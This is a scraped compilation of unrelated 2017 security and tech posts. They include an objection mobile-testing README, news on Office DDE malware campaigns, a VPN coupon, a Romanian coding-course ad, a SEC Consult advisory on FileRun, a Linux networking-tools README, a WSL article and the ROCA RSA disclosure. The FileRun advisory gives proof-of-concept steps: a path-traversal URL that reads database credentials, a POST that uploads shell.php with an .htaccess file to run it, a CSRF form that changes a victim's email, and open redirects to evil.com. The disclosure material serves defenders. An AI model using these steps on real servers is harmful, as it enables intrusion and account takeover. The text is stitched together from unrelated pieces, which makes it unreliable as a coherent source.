Fi8sVrs

objection Runtime Mobile Exploration, powered by Frida. introduction objection is a runtime mobile exploration toolkit, powered by Frida. It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device. The project's name quite literally explains the approach as well, whereby runtime specific objects are injected into a running process and executed using Frida. Note: This is not some form of jailbreak / root bypass. By using objection, you are still limited by all of the restrictions imposed by the applicable sandbox you are facing. features Supporting both iOS and Android and having new features and improvements added regularly as the tool is used in real world scenarios, the following is a short list of only a few key features: For all supported platforms, objection allows you to: Patch iOS and Android applications, embedding a Frida gadget that can be used with objection or just Frida itself. Interact with the filesystem, listing entries as well as upload & download files where permitted. Perform various memory related tasks, such as listing loaded modules and their respective exports. Attempt to bypass and simulate jailbroken or rooted environments. Discover loaded classes and list their respective methods. Perform common SSL pinning bypasses. Dynamically dump arguments from methods called as you use the target application. Interact with SQLite databases inline without the need to download the targeted database and use an external tool. Execute custom Frida scripts. iOS specific features in objection include the ability to: Dump the iOS keychain, and export it to a file. Dump data from common storage such as NSUserDefaults and the shared NSHTTPCookieStorage. Dump various formats of information in human readable forms. Bypass certain forms of TouchID restrictions. Watch for method executions by targeting all methods in a class, or just a single method. Monitor the iOS pasteboard. Dump encoded .plist files in a human readable format without relying on external parsers. Android specific features in objection include the ability to: List the applications Activities, Services and Broadcast receivers. Start arbitrary Activities available in the target application. Watch a class method, reporting execution as it happens. screenshots The following screenshots show the main objection repl, connected to a test application on both an iPad running iOS 10.2.1, and Samsung Galaxy S5 running Android 6. A file system listing of the iOS applications main bundle A file system listing of the Android applications bundle iOS Keychain dumped for the current application, and later written to a file called keychain.json Inline SQLite query tool SSL Pinning bypass running for an iOS application SSL Pinning bypass running for an Android application sample usage A sample session, where objection version 0.1 is used to explore the applications environment. Newer versions have the REPL prompt set to the current applications name, however usage has remained the same: https://asciinema.org/a/8O6fjDHOdVKgPYeqITHXPp6HV prerequisites To run objection, all you need is the python3 interpreter to be available. Installation via pip should take care of all of the dependencies needed. For more details, please see the prerequisites section on the project wiki. As for the target mobile applications though, for iOS, an unencrypted IPA is needed and Android just the normal APK should be fine. If you have the source code of the iOS application you want to explore, then you can simply embed and load the FridaGadget.dylib from within the Xcode project. installation Installation is simply a matter of pip3 install objection. This will give you the objection command. For more detailed update and installation instructions, please refer to the wiki page here. powered by license Objection is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License Permissions beyond the scope of this license may be available at http://sensepost.com/contact/ Download: objection-master.zip or git clone https://github.com/sensepost/objection.git Source: https://github.com/sensepost/objection

A newly discovered unpatched attacking method that exploits a built-in feature of Microsoft Office is currently being used in various widespread malware attack campaigns. Last week we reported how hackers could leveraging an old Microsoft Office feature called Dynamic Data Exchange (DDE), to perform malicious code execution on the targeted device without requiring Macros enabled or memory corruption. DDE protocol is one of the several methods that Microsoft uses to allow two running applications to share the same data. The protocol is being used by thousands of apps, including MS Excel, MS Word, Quattro Pro, and Visual Basic for one-time data transfers and for continuous exchanges for sending updates to one another. The DDE exploitation technique displays no "security" warnings to victims, except asking them if they want to execute the application specified in the command—although this popup alert could also be eliminated "with proper syntax modification." Soon after the details of DDE attack technique went public, Cisco's Talos threat research group published a report about an attack campaign actively exploiting this attack technique in the wild to target several organisations with a fileless remote access trojan (RAT) called DNSMessenger. Necurs Botnet Using DDE Attack to Spread Locky Ransomware Now, hackers have been found using the Necurs Botnet—malware that currently controls over 6 million infected computers worldwide and sends millions of emails—to distribute Locky ransomware and TrickBot banking trojan using Word documents that leverage the newly discovered DDE attack technique, reported SANS ISC. Locky ransomware hackers previously relied on macros-based booby-trapped MS Office documents, but now they have updated the Nercus Botnet to deliver malware via the DDE exploit and gain an ability to take screenshots of the desktops of victims. Hancitor Malware Using DDE Attack Another separate malware spam campaign discovered by security researchers has also been found distributing Hancitor malware (also known as Chanitor and Tordal) using Microsoft Office DDE exploit. Hancitor is a downloader that installs malicious payloads like Banking Trojans, data theft malware and Ransomware on infected machines and is usually delivered as a macro-enabled MS Office document in phishing emails. How to Protect Yourself From Word DDE Attacks? Since DDE is a Microsoft's legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with DDE fields, neither the tech company has any plans of issuing a patch that would remove its functionality. So, you can protect yourself and your organisation from such attacks by disabling the "update automatic links at open" option in the MS Office programs. To do so, Open Word → Select File → Options → Advanced and scroll down to General and then uncheck "Update Automatic links at Open." However, the best way to protect yourself from such attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source. Via thehackernews.com

create coupon here: https://stacksocial.com/sales/perfect-privacy-vpn-30-day-free-trial and add here: https://www.perfect-privacy.com/german/coupon/?a_aid=stacksocial Offer ending in: 6 days Enjoy!

https://wellcode.ro/ - Învață programare de la zero Începe să înveți în ritmul tău Fă-ți un cont gratuit și învață să scrii cod de calitate. Vom fi acolo să te ajutăm când ai nevoie. Content: Introducere C++ IDE Tutorial pentru instalarea CodeBlocks Hello world Evaluarea problemelor Afișare Variabile Tipul de date pentru numere întregi Atribuirea valorilor Citirea de la tastatură a variabilelor Afișarea variabilelor Operatori Adunare Calcul Operatori - II Like If - Structura de decizie Structura instrucțiunii if Condiții compuse FizzBuzz If inlănțuit Else Maxim Else if Crescator 3 Comentarii While - Structura repetitivă I While - Cum funcționează Studiu de caz - Numărul de cifre ale unui număr ABC Studiu de caz - concatenarea a două numere Inversul unui număr Înlănțuirea instrucțiunilor Studiu de caz - Verificarea primalității unui număr Triunghi For - Structura repetitivă II Minimul și maximul a N numere Înmulțire Al x-lea număr prim Șiruri de numere Accesarea și modificarea elementelor unui șir Șiruri de numere - Citire și Afișare Modificare șir Șiruri de numere - Studiu de caz - I Adăugarea unui element în șir Ștergerea unui element din șir Afișarea elementelor pare în ordine inversă Afișare elemente pare și impare Sortarea unui șir de numere Matrice - Tablouri bidimensionale Aplicații în viața reală Citirea și Afișarea Matricilor Studiu de caz - transpusa unei matrice Ștergerea unei linii dintr-o matrice Ștergerea unei coloane dintr-o matrice Matrice patratice Parcurgerea diagonalelor unei matrice pătratice Șiruri de numere - II Şiruri de frecvenţă Căutare binară - Descrierea ideii Căutare binară - implementare Bubble sort Sortare prin numărare https://wellcode.ro/ Sursa: ProTV

Afian AB FileRun version 2017.03.18 suffers from cross site request forgery, cross site scripting, open redirection, remote shell upload, and various other vulnerabilities. SEC Consult Vulnerability Lab Security Advisory < 20171018-0 > ======================================================================= title: Multiple vulnerabilities product: Afian AB FileRun vulnerable version: 2017.03.18 fixed version: 2017.09.18 impact: critical homepage: https://www.filerun.com | https://afian.se found: 2017-08-28 by: Roman Ferdigg (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "FileRun File Manager: access your files anywhere through self-hosted secure cloud storage, file backup and sharing for your photos, videos, files and more. Upload and download large files for easy sharing. Google Drive self-hosted alternative." Source: https://www.filerun.com Business recommendation: ------------------------ By exploiting the vulnerabilities documented in this advisory, an attacker can compromise the web server which has FileRun installed. User files might get exposed through this attack. SEC Consult recommends not to use FileRun until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) Path Manipulation When uploading, downloading or viewing files, FileRun uses a parameter to specify the path on the file-system. An attacker can manipulate the value of this parameter to read, create and even overwrite files in certain folders. An attacker could upload malicious files to compromise the webserver. In combination with the open redirect and CSRF vulnerability even an unauthenticated attacker can upload these files to get a shell. Through the shell all user files can be accessed. 2) Stored Cross Site Scripting (XSS) via File Upload The application allows users to upload different file types. It is also possible to upload HTML files or to create them via the application's text editor. Files can be shared using a link or within the FileRun application (in the enterprise version). An attacker can inject JavaScript in HTML files to attack other users or simply create a phishing site to steal user credentials. Remark: In the standard configuration of the FileRun docker image the HttpOnly cookie flag is not set, which means that authentication cookies can be accessed in an XSS attack. This allows easy session hijacking as well. 3) Cross Site Request Forgery (CSRF) The application does not implement CSRF protection. An attacker can exploit this vulnerability to execute arbitrary requests with the privileges of the victim. The only requirement is that a victim visits a malicious webpage. Such a page could be hosted on the FileRun server itself and shared with other users as described in vulnerability 2. Besides others, the following actions can be performed via CSRF if the victim has administrative privileges: - Create or delete users - Change permissions rights of users - Change user passwords If the victim has no administrative privileges, for example the following actions can be performed: - Upload files - Change the email address (for password recovery) 4) Open Redirect Vulnerabilities An open redirect vulnerability in the login and logout pages allows an attacker to redirect users to arbitrary web sites. The redirection host could be used for phishing attacks (e.g. to steal user credentials) or for running browser exploits to infect a victim's machine with malware. The open redirect in the login page could also be used to exploit CSRF (see above). Because the server name in the manipulated link is identical to the original site, phishing attempts may have a more trustworthy appearance. Proof of concept: ----------------- 1) Path Manipulation The URL below is used to read the application file "autoconfig.php", which contains the username and cleartext password of the database. URL: http://$DOMAIN/?module=custom_actions&action=open_in_browser&path=/var/www/html/system/data/autoconfig.php This post request is used to upload a PHP shell in the writable folder avatars: POST /?module=fileman_myfiles&section=ajax&page=up HTTP/1.1 Host: $DOMAIN [...] Content-Type: multipart/form-data; boundary=---------------------------293712729522107 Cookie: FileRunSID=t5h7lm99r1ff0quhsajcudh7t0; language=english DNT: 1 Connection: close -----------------------------293712729522107 Content-Disposition: form-data; name="flowTotalSize" 150 -----------------------------293712729522107 Content-Disposition: form-data; name="flowIsFirstChunk" 1 -----------------------------293712729522107 Content-Disposition: form-data; name="flowIsLastChunk" 1 -----------------------------293712729522107 Content-Disposition: form-data; name="flowFilename" shell.php -----------------------------293712729522107 Content-Disposition: form-data; name="path" /var/www/html/system/data/avatars/ -----------------------------293712729522107 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream *web shell payload here* -----------------------------293712729522107-- To execute the uploaded shell a .htaccess file with the contents below can be uploaded in the same folder. Content of .htaccess file: <Files "*"> Order allow,deny Allow from all </Files> The uploaded shell can be accessed by the following URL: http://$DOMAIN/?module=custom_actions&action=open_in_browser&path=/var/www/html/system/data/avatars/shell.php 2) Stored Cross Site Scripting (XSS) via File Upload An HTML file with JavaScript code can be easily uploaded to attack other users. No PoC necessary. 3) Cross Site Request Forgery An example for a CSRF attack would be the following request which changes the email address of the victim: <html> <body> <form action="http://$DOMAIN/?module=fileman&section=profile&action=save" method="POST"> <input type="hidden" name="receive&#95;notifications" value="0" /> <input type="hidden" name="two&#95;step&#95;enabled" value="0" /> <input type="hidden" name="name" value="User" /> <input type="hidden" name="name2" value="A" /> <input type="hidden" name="email" value="newemail&#64;example&#46;com" /> <input type="hidden" name="ext&#45;comp&#45;1009" value="on" /> <input type="hidden" name="current&#95;password" value="" /> <input type="hidden" name="new&#95;password" value="" /> <input type="hidden" name="confirm&#95;new&#95;password" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> The new email address can be used by the attacker to reset the password of the victim. 4) Open Redirect Vulnerabilites The URL below can be used to forward a user to an arbitrary website after the login: http://$DOMAIN/?redirectAfterLogin=aHR0cDovL3d3dy5ldmlsLmNvbQ== The value of the redirect parameter needs to be base64 encoded. To redirect a user after logout, following URL can be used: http://$DOMAIN/?module=fileman&page=logout&redirect=http://evil.com In this case for a successful exploit, the victim has to be logged in. Vulnerable / tested versions: ----------------------------- The regular version of FileRun 2017.03.18 has been tested. It is assumed earlier versions of FileRun are also vulnerable to the issues. Vendor contact timeline: ------------------------ 2017-08-31: Contacting vendor through info@afian.se, info@filerun.com 2017-09-01: Sending unencrypted advisory as requested by vendor 2017-09-04: FileRun fixed the vulnerability "Path Manipulation" 2017-09-12: Requesting a status update 2017-09-13: FileRun informed us that a patch for all vulnerabilities will be released before 2017-09-20 2017-09-16: Patch available 2017-10-18: Public release of security advisory Solution: --------- Update to the latest version available (see https://docs.filerun.com/updating). According to FileRun, all the vulnerabilities are fixed in release 2017.09.18 or higher. For further information see: https://www.filerun.com/changelog Workaround: ----------- No workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Roman Ferdigg / @2017 Site sec-consult.com

A suite of utilities simplilfying linux networking stack performance troubleshooting and tuning. https://pypi.python.org/pypi/netutils-linux netutils-linux It's a useful utils to simplify Linux network troubleshooting and performance tuning, developed in order to help Carbon Reductor techsupport and automate the whole linux performance tuning process out of box (ok, except the best RSS layout detection with multiple network devices). These utils may be useful for datacenters and internet service providers with heavy network workload (you probably wouldn't see an effect at your desktop computer). It's now in production usage with 300+ deployment and save us a lot of time with hardware and software settings debugging. Inspired by packagecloud's blog post. Installation You'll need pip. pip install netutils-linux Utils Monitoring All these top-like utils don't require root priveledges or sudo usage. So you can install and use them as non-priveledged user if you care about security. pip install --user netutils-linux Brief explanation about highlighting colors for CPU and device groups: green and red are for NUMA-nodes, blue and yellow for CPU sockets. Screenshots are taken from different hosts with different hardware. network-top Most useful util in this repo that includes almost all linux network stack performance metrics and allow to monitor interrupts, soft interrupts, network processing statistic for devices and CPUs. Based on following files: /proc/interrupts (vectors with small amount of irqs/second are hidden by default) /proc/net/softnet_stat - packet distribution and errors/squeeze rate between CPUs. /proc/softirqs (only NET_RX and NET_TX values). /sys/class/net/<NET_DEVICE>/statistic/<METRIC> files (you can specify units, mbits are default) There are also separate utils if you want to look at only specific metrics: irqtop, softirq-top, softnet-stat-top, link-rate. snmptop Basic /proc/net/smmp file watcher. Tuning rss-ladder Automatically set smp_affinity_list for IRQ of NIC rx/tx queues that usually work on CPU0 out of the box). Based on lscpu's output. It also supports double/quad ladder in case of multiprocessor systems (but you better explicitly specify queue count == core per socket as NIC's driver's param). Example output: # rss-ladder eth1 0 - distributing interrupts of eth1 (-TxRx-) on socket 0 - eth1: irq 67 eth1-TxRx-0 -> 0 - eth1: irq 68 eth1-TxRx-1 -> 1 - eth1: irq 69 eth1-TxRx-2 -> 2 - eth1: irq 70 eth1-TxRx-3 -> 3 - eth1: irq 71 eth1-TxRx-4 -> 8 - eth1: irq 72 eth1-TxRx-5 -> 9 - eth1: irq 73 eth1-TxRx-6 -> 10 - eth1: irq 74 eth1-TxRx-7 -> 11 autorps Enables RPS on all available CPUs of NUMA node local for the NIC for all NIC's rx queues. It may be good for small servers with cheap network cards. You also can explicitely pass --cpus or --cpu-mask. Example output: # autorps eth0 Using mask 'fc0' for eth0-rx-0. maximize-cpu-freq Sets every CPU scaling governor mode to performance and set max scaling value for min scaling value. So you will be able to use all power of your processor (useful for latency sensible systems). rx-buffers-increase rx-buffers-increase utils, that finds and sets compromise-value between avoiding dropped/missing pkts and keeping a latency low. Example output: # ethtool -g eth1 Ring parameters for eth1: Pre-set maximums: RX: 4096 ... Current hardware settings: RX: 256 # rx-buffers-increase eth1 run: ethtool -G eth1 rx 2048 # rx-buffers-increase eth1 eth1's rx ring buffer already has fine size. # ethtool -g eth1 Ring parameters for eth1: Pre-set maximums: RX: 4096 ... Current hardware settings: RX: 2048 Hardware and its configuration rating server-info Much alike lshw but designed for network processing role of server. # server-info show cpu: info: Architecture: x86_64 BogoMIPS: 6799.9899999999998 Byte Order: Little Endian CPU MHz: 3399.998 CPU family: 6 CPU op-mode(s): 32-bit, 64-bit CPU(s): 2 Core(s) per socket: 1 Hypervisor vendor: KVM L1d cache: 32K L1i cache: 32K L2 cache: 4096K Model: 13 Model name: QEMU Virtual CPU version (cpu64-rhel6) NUMA node(s): 1 NUMA node0 CPU(s): 0,1 On-line CPU(s) list: 0,1 Socket(s): 2 Stepping: 3 Thread(s) per core: 1 Vendor ID: GenuineIntel Virtualization type: full layout: '0': '0' '1': '1' disk: sr0: model: QEMU DVD-ROM vda: model: null size: 64424509440 type: HDD memory: MemFree: 158932 MemTotal: 1922096 SwapFree: 4128764 SwapTotal: 4128764 net: eth1: buffers: cur: 2048 max: 4096 conf: ip: 10.144.63.1/24 vlan: true driver: driver: e1000 version: 7.3.21-k8-NAPI queues: own: [] rx: [] rxtx: [] shared: - virtio1, eth0, eth1 tx: [] unknown: [] It also can rate hardware and its features in range of 1..10. # server-info rate cpu: BogoMIPS: 7 CPU MHz: 7 CPU(s): 1 Core(s) per socket: 1 L3 cache: 1 Socket(s): 10 Thread(s) per core: 10 Vendor ID: 10 disk: sr0: size: 1 type: 2 vda: size: 1 type: 1 memory: MemTotal: 1 SwapTotal: 10 net: eth1: buffers: cur: 5 max: 10 driver: 1 queues: 1 system: Hypervisor vendor: 1 Virtualization type: 1 Download: netutils-linux-master.zip or: git clone https://github.com/strizhechenko/netutils-linux.git Source: https://github.com/strizhechenko/netutils-linux

Sysadmins and developers rejoice! WSL is now a fully fledged part of Windows 10, starting with the latest Fall Creators Update. terested in running Linux on Windows 10 with Windows Subsystem for Linux (WSL), but nervous about it being both a beta and only available in Windows 10 developer mode? Your worries are over. In the Windows 10 Fall Creators Update (WinFCU) WSL has graduated to being a Windows 10 feature that can be run by any user. Tested for over a year, WSL on WinFCU is bringing many new features to this combination of the Linux Bash shell and Windows. Besides WSL no longer being a beta or requiring users to be in developer mode, the new features include: Install Linux distros via the Windows Store WSL now runs multiple Linux distros WSL comes to Windows Server & Microsoft Azure VMs WSL now supports USB/serial comms Miscellaneous fixes and improvements Besides Ubuntu, the new WSL-supported Linux distros are SUSE's community openSUSE and its corporate SUSE Linux Enterprise Server (SLES). Fedora and other distros will arrive in the store shortly. If you've previously installed WS, your existing "legacy" Ubuntu instance will continue to work, but it's deprecated. To continue to receive support you should replace it with a new store-delivered instance. Without this, you won't receive Canonical or Microsoft support. To keep your old files, you should tar them and copy them to your Windows file system; for example: `/mnt/c/temp/backups` and then copy them back to your new instance. In addition, instead of jumping through hoops to install Linux on Windows, you can install one or more -- yes, you can have multiple distros on a single Windows 10 system -- Linux distros from the Windows Store. To do this, you must first enable the WSL feature in the "Turn Windows Features on or off" dialog and reboot. No, WSL is not active by default and yes, you must reboot. After rebooting you simply search for "Linux" in the Windows Store, pick a version to install, hit install, and in a few minutes you're good to go. If you already have a Bash instance installed on WSL, you can start afresh with the lxrun /uninstall command. You run this command from the command prompt or PowerShell. Besides being able to install multiple Linux distributions, you can simultaneously run one or more Linux distros. Each distro runs independently of one another. These are neither virtual machines (VMs) nor containers, and that means they need their usual system resources. I, for example, would only want them on systems with at least an additional 2GBs per instance of running WSL. WSL itself requires only minimal system resources. Rich Turner, Microsoft's senior program manager of WSL and Windows Console, wrote: "We don't list [RAM requirements] because, frankly, we don't have any of note! If you don't install WSL, we add no RAM footprint. If you do enable WSL, there's a tiny 850KB driver loaded briefly, and then it shuts down until you start a Linux instance. At that point, you load /init which launches /bin/bash. This causes the 850KB driver to load, and creates Pico Processes for init and bash. So, basically, WSL's RAM requirements are pretty much whatever the RAM is that you need to run each Linux binary, plus around 1MB of working set in total." The Linux distros can also access Windows' host filesystem, networking stack, etc. That means you should be cautious about changing files on the Windows filesystem. Why would you run multiple distros at once? Microsoft points out: You can now install Linux distros right from the Windows Store. Linux developers will be pleased to find that USB serial comms are now supported. This enables your shell scripts and apps to talk to serial ports. WSL also now supports mounting of USB-attached storage devices and network shares. That's the good news, The bad news is it only supports the NT filesystem IO infrastructure. In other words it only supports FAT/FAT32/NTFS formatted storage devices. Want *nix file systems? Microsoft encourages you to upvote and/or comment on the associated UserVoice ask. Digging deeper into the new improvements, under the hood WSL on WinFCU now includes: Improved TCP socket options inc. IP_OPTIONS, IP_ADD_MEMBERSHIP, IP_MULTICAST, etc /etc/hosts will now inherit entries from the Windows hosts file xattr related syscalls support Fixed several filesystem features and capabilities Improved PTRACE support Improved FUTEX support chsh, which enables you to change shells, now works. This enables you to use your favorite shell directly. Shell startup file other than ".bashrc" will now execute. The following syscalls were added for the first time during the FCU cycle: Prlimit64 getxattr, setxattr, listxattr, removexattr As expected, WSL is also on its way to Windows Server and to Microsoft Azure Windows VM instances. This will make WSL even more useful for sysadmins. All these improvements have made it even easier for developers and system administrators to run Linux shell commands on Windows. While this isn't very useful for ordinary desktop users, for serious IT staff it's a real step forward, making Windows more useful in a server and cloud world that's increasingly dominated by Linux. Even on Azure, over a third of VMs are Linux. With WSL, most Linux shell tools are at your command. These include: apt, ssh, find, grep, awk, sed, gpg, wget, tar, vim, emacs, diff, and patch. You can also run popular open-source programming languages such as python, perl, ruby, php, and gcc. In addition, WSL and Bash supports server programs such as the Apache web-server and Oracle's MySQL database management system. In other words, you get a capable Linux development environment running on Windows. While you can run Linux graphical interfaces and programs on WSL, it's more of a stunt than a practical approach at this time. Of course, with a little work... How does WSL work? Dustin Kirkland, a member of Canonical's Ubuntu Product and Strategy executive team, explained: "We're talking about bit-for-bit, checksum-for-checksum Ubuntu ELF binaries running directly in Windows. [WSL] basically perform real-time translation of Linux syscalls into Windows OS syscalls. Linux geeks can think of it sort of the inverse of 'WINE' -- Ubuntu binaries running natively in Windows." Regardless of the technical details of how WSL does what it doess, what matters now is that WSL works very, very well. Enjoy! Via zdnet.com

A newly discovered vulnerability in generation of RSA keys used by a software library adopted in cryptographic smartcards, security tokens and other secure hardware chips manufactured by Infineon Technologies AG allows for a practical factorization attack, in which the attacker computes the private part of an RSA key. The attack is feasible for commonly used key lengths, including 1024 and 2048 bits, and affects chips manufactured as early as 2012, that are now commonplace. Assess your keys now with the provided offline and online detection tools and contact your vendor if you are affected. Major vendors including Microsoft, Google, HP, Lenovo, Fujitsu already released the software updates and guidelines for a mitigation. Full details including the factorization method will be released in 2 weeks at the ACM CCS conference as 'The Return of Coppersmith's Attack: Practical Factorization of Widely Used RSA Moduli' (ROCA) research paper. Description of the vulnerability A security vulnerability was found in the implementation of RSA keypair generation in a cryptographic library used in a wide range of cryptographic chips produced by Infineon Technologies AG. The product is also integrated in authentication, signature and encryption tokens of other vendors and chips used for Trusted Boot of operating systems. The vulnerability is present in NIST FIPS 140-2 and CC EAL 5+ certified devices since at least the year 2012. The algorithmic vulnerability is characterized by a specific structure of the generated RSA primes, which makes factorization of commonly used key lengths including 1024 and 2048 bits practically possible. Only the knowledge of a public key is necessary and no physical access to the vulnerable device is required. The vulnerability does NOT depend on a weak or a faulty random number generator - all RSA keys generated by a vulnerable chip are impacted. The attack was practically verified for several randomly selected 1024-bit RSA keys and for several selected 2048-bit keys. The specific structure of the primes in question allows for a fast detection of vulnerable keys, even in very large datasets. This property is useful for mitigation (users can assess own keys for vulnerability), but also for potential attackers (keys vulnerable to factorization can be pre-selected, without undergoing time-consuming factorization attempts). The worst cases for the factorization of 1024 and 2048-bit keys are less than 3 CPU-months and 100 CPU-years, respectively, on a single core of a common recent CPU, while the expected time is half of that of the worst case. The factorization can be easily parallelized on multiple CPUs. Where k CPUs are available, the wall time required for the attack will be reduced k-times - allowing for practical factorization in order of hours or days. The worst-case price of the factorization on an Amazon AWS c4 computation instance is $76 for the 1024-bit key and about $40,000 for the 2048-bit key. The difficulty of the factorization attack is not the same for all key lengths and is NOT strictly increasing (some longer keys may take less time to factorize than other shorter ones). The following key length ranges are now considered practically factorizable (time complexity between hours to 1000 CPU years at maximum): 512 to 704 bits, 992 to 1216 bits and 1984 to 2144 bits. Note that 4096-bit RSA key is not practically factorizable now, but may become so, if the attack is improved. The time complexity and cost for the selected key lengths (Intel E5-2650 v3@3GHz Q2/2014): 512 bit RSA keys - 2 CPU hours (the cost of $0.06); 1024 bit RSA keys – 97 CPU days (the cost of $40-$80); 2048 bit RSA keys – 140.8 CPU years, (the cost of $20,000 - $40,000). The vulnerability was found by a close inspection of a large number of RSA keys generated and exported from the manufacturer smartcards by researchers at CRoCS laboratory, Masaryk University, Enigma Bridge and Ca' Foscari University. The full results will be presented at an academic ACM Conference on Computer and Communications Security (ACM CCS '17) starting from October 30th. The vulnerability was disclosed to Infineon Technologies AG, following the responsible disclosure principle, in the first week of February with agreement of an 8 month period before a public disclosure. We cooperated with the manufacturer and other affected parties to help evaluate and mitigate this vulnerability during this period. Major vendors including Microsoft, Google, HP, Lenovo, Fujitsu already released the software updates and guidelines for a mitigation. We are now notifying general public and releasing tools for assessmnet of the individual keys. Impact A remote attacker can compute an RSA private key from the value of a public key. The private key can be misused for impersonation of a legitimate owner, decryption of sensitive messages, forgery of signatures (such as for software releases) and other related attacks. The actual impact of the vulnerability depends on the usage scenario, availability of the public keys and the lengths of keys used. We found and analyzed vulnerable keys in various domains including electronic citizen documents, authentication tokens, trusted boot devices, software package signing, TLS/HTTPS keys and PGP. The currently confirmed number of vulnerable keys found is about 760,000 but possibly up to two to three magnitudes more are vulnerable. The details will be presented in two weeks at the ACM CCS conference. The vulnerable chips are pervasive and not necessarily sold directly by Infineon Technologies AG, as the chips can be embedded inside devices of other manufacturers. Detection tools, mitigation and workarounds The first step is to detect if you use a chip with the vulnerable library. As the vulnerability is present in the on-chip software library and not limited just to a particular batch of hardware, the only reliable way is to generate an RSA keypair on the device and test the public key by the provided tools (see below). It is recommended to test also the keys already in use. We believe the tools are very accurate - it is highly unlikely that a secure key would be flagged, as well as that a vulnerable key would be missed. We provide the following tools: Offline testers: Python/Java/C++ applications and tutorials (https://github.com/crocs-muni/roca). We release all offline tools under the MIT license so it can be embedded into other testing applications and services. Online testers: Upload public key to https://keychest.net/roca or https://keytester.cryptosense.com to test your key. Email S-MIME/PGP tester: Send a signed email to roca@keychest.net to obtain an automatic email response with the analysis of the signing key vulnerability. If a vulnerable key is found, then you should contact your device vendor for further advice. The following general advices may apply: Apply the software update if available. Replace the device with one without the vulnerable library. Generate a secure RSA keypair outside the device (e.g., via the OpenSSL library) and import it to the device. We are not aware of any vulnerability in connection with the actual use of the key, only the generation phase has a confirmed vulnerability. Use other cryptographic algorithm (e.g., ECC) instead of RSA on affected devices. Apply additional risk management within your environment, if the RSA key in use is detected as vulnerable. Use key lengths which are not currently impacted (e.g., 3936 bits) by our factorization method. Be aware: use this specific mitigation only as a last resort, as the attack may be improved. Team The vulnerability was discovered by Slovak and Czech security researchers from the Centre for Research on Cryptography and Security at Masaryk University, Czech Republic; Enigma Bridge Ltd, Cambridge, UK; and Ca' Foscari University of Venice, Italy. Updates 2nd of November 2017 - Presentation of all details at the ACM CCS conference (to come) 16th of October 2017 - The initial version of the public disclosure published May to October 2017 - Cooperation with the manufacturer and other affected parties to help evaluate and mitigate the vulnerability 1st of February - The vulnerability disclosed to Infineon Technologies AG End of January - The vulnerability found Q&A Techincal references Infineon, Information on software update of RSA key generation function: https://www.infineon.com/RSA-update Infineon, Information on TPM firmware update for Microsoft Windows systems https://www.infineon.com/cms/en/product/promopages/tpm-update/?redirId=59160 Microsoft Vulnerability in TPM could allow Security Feature Bypass: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170012 Google, The Chromium project Trusted Platform Module firmware vulnerability: https://sites.google.com/a/chromium.org/dev/chromium-os/tpm_firmware_update Media ArsTechnica: https://arstechnica.com/information-technology/2017/10/crypto-failure-cripples-millions-of-high-security-keys-750k-estonian-ids/ Forbes: https://www.forbes.com/sites/thomasbrewster/2017/10/16/worse-than-krack-google-and-microsoft-patch-massive-5-year-old-encryption-hole/#40c81a9447c3 Estonian ID cards: http://news.err.ee/616732/potential-security-risk-could-affect-750-000-estonian-id-cards The Register: https://www.theregister.co.uk/2017/10/16/roca_crypto_vuln_infineon_chips/ Paper details Paper title: The Return of Coppersmith's Attack: Practical Factorization of Widely Used RSA Moduli [ACM CCS 2017] Authors: Matus Nemec, Marek Sys, Petr Svenda, Dusan Klinec and Vashek Matyas Primary contact: Petr Svenda svenda@fi.muni.cz Conference page: ACM CCS 2017 Download author pre-print of the paper: (to be released 2nd November) Bibtex (regular paper): @inproceedings{2017-ccs-nemec, Author = {Matus Nemec and Marek Sys and Petr Svenda and Dusan Klinec and Vashek Matyas}, Title = {The Return of Coppersmith's Attack: Practical Factorization of Widely Used RSA Moduli}, BookTitle = {to appear at 24th ACM Conference on Computer and Communications Security (CCS'2017)}, Year = {2017}, ISBN = {978-1-4503-4946-8/17/10}, Publisher = {ACM} } Source

